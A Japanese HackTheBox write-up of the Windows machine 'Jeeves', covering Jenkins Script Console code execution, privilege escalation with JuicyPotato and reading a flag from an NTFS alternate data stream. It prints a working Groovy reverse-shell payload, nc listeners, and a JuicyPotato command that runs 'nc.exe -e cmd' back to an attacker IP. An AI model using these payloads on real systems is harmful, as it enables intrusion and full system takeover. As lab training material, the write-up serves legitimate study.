> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md). # Jeeves HackTheBox攻略記事 Jenkins Script ConsoleのRCE、Groovyのリバースシェル、JuicyPotato、SeImpersonatePrivilege、代替データストリームを扱うJeeves HackTheBox Medium Windowsマシンの攻略記事。 {% embed url="" %} {% hint style="warning" %} **スキル** * Nmap と Gobuster によるネットワークおよび Web サービスの列挙。 * Groovy を使用した Jenkins Script Console のリモートコード実行。 * Windows の権限昇格と `SeImpersonatePrivilege` および JuicyPotato。 * NTFS Alternate Data Stream の発見と抽出。 {% endhint %} ### 偵察 #### ワークスペースを準備する

#### オペレーティングシステムを特定するの TTL 値は `128` Windows ホストを示しています。

#### オープンポートをスキャンするフル TCP SYN スキャンを実行する: ```bash sudo nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.129.228.112 -oG allPorts ``` スキャンでポートが特定される `80`, `135`, `445`、および `50000`.

対象のサービスとバージョン検出を実行する: ```bash nmap -sCV -p80,135,445,50000 10.129.228.112 -oN targeted ```

#### Web サービスを調査するポート `50000` は Jetty として自己識別します: `Powered by Jetty:// 9.4.z-SNAPSHOT`

Web パスを列挙する: ```bash gobuster dir -w `fzf-wordlists` -u http://10.129.228.112:50000 -t 100 ```

その `/askjeeves` のパスには Jenkins がホストされています `2.87`.

### 初期アクセス #### Jenkins Script Console を使用する開く **Script Console** で `/askjeeves/script`。ここでは Groovy コードを受け付け、Jenkins ホスト上で実行します。

無害なコマンドを実行してコード実行を確認する: ```groovy def process = "PowerShell.exe cmd.exe /c dir".execute() println "Found text ${process.text}" ``` コマンドの出力によりリモートコード実行が確認できます。

#### リバースシェルを取得するポートでリスナーを起動する `443`: ```bash sudo rlwrap nc -nvlp 443 ``` この Groovy ペイロードを Script Console で実行してください。必要に応じてコールバックのアドレスとポートを置き換えてください。 {% code overflow="wrap" %} ```groovy Thread.start { String host="10.10.15.2"; int port=443; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); } ``` {% endcode %} リスナーにはシェルが `kohsuke`.

#### Jenkins の認証情報を確認する Jenkins の設定には暗号化された API トークンが含まれています: {% code overflow="wrap" %} ```bash AQAAABAAAAAwID3cR3pyZaEkaDPU25Z0S+nrU8+gDgB0JEWORJ5L1P2T+zXc/tSs2IVn1ugWLaui54D6yYki4vhXQtGhqUSeFw== ``` {% endcode %} また、管理者パスワードも BCrypt ハッシュとして保存されています: {% code overflow="wrap" %} ```bash $2a$10$QyIjgAFa7r3x8IMyqkeCluCB7ddvbR7wUn1GmFJNO2jQp2k8roehO ``` {% endcode %}

#### ユーザーフラグを取得する {% code overflow="wrap" %} ```bash type C:\Users\kohsuke\Desktop\user.txt ``` {% endcode %}

### 権限昇格 #### 必要なツールを転送する攻撃者マシンからファイルをホストする: {% code overflow="wrap" %} ```bash smbserver.py share $(pwd) -smb2support ``` {% endcode %} コピーする `nc.exe` および JuicyPotato をターゲットへ: {% code overflow="wrap" %} ```bash copy \\10.10.15.2\share\nc.exe C:\Users\kohsuke\Downloads\nc.exe ``` {% endcode %} ```bash copy \\10.10.15.2\share\JuicyPotato.exe C:\Users\kohsuke\Downloads\JuicyPotato.exe ```

#### エクスプロイトする `SeImpersonatePrivilege` 昇格シェル用のリスナーを起動する: {% code overflow="wrap" %} ```bash rlwrap nc -nlvp 4444 ``` {% endcode %} JuicyPotato を実行して `nc.exe` として `NT AUTHORITY\SYSTEM`: {% code overflow="wrap" %} ```bash .\JuicyPotato.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/kohsuke/Downloads/nc.exe -e cmd 10.10.15.2 4444" ``` {% endcode %} コールバックは `NT AUTHORITY\SYSTEM`.

### ルートフラグ Administrator のデスクトップディレクトリ内の代替データストリームを一覧表示する: ```cmd cd C:\Users\Administrator\Desktop dir /r ``` 出力には `hm.txt:root.txt:$DATA` ストリーム内のフラグが表示されています。直接読み取る: ```bash more < hm.txt:root.txt:$DATA ``` これでマシンは次のように完了です `NT AUTHORITY\SYSTEM`.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.